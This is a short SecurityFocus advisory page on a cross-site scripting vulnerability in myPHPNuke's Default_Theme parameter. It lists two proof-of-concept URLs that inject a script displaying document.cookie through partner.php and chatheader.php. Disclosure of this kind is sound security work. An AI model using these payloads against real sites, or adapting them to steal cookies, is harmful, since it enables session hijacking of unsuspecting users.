Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

myPHPNuke Default_Theme Cross Site Scripting Vulnerability

The following proof of concepts were provided:

http://victim/html/partner.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>
http://victim/html/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script>







 

Privacy Statement
Copyright 2009, SecurityFocus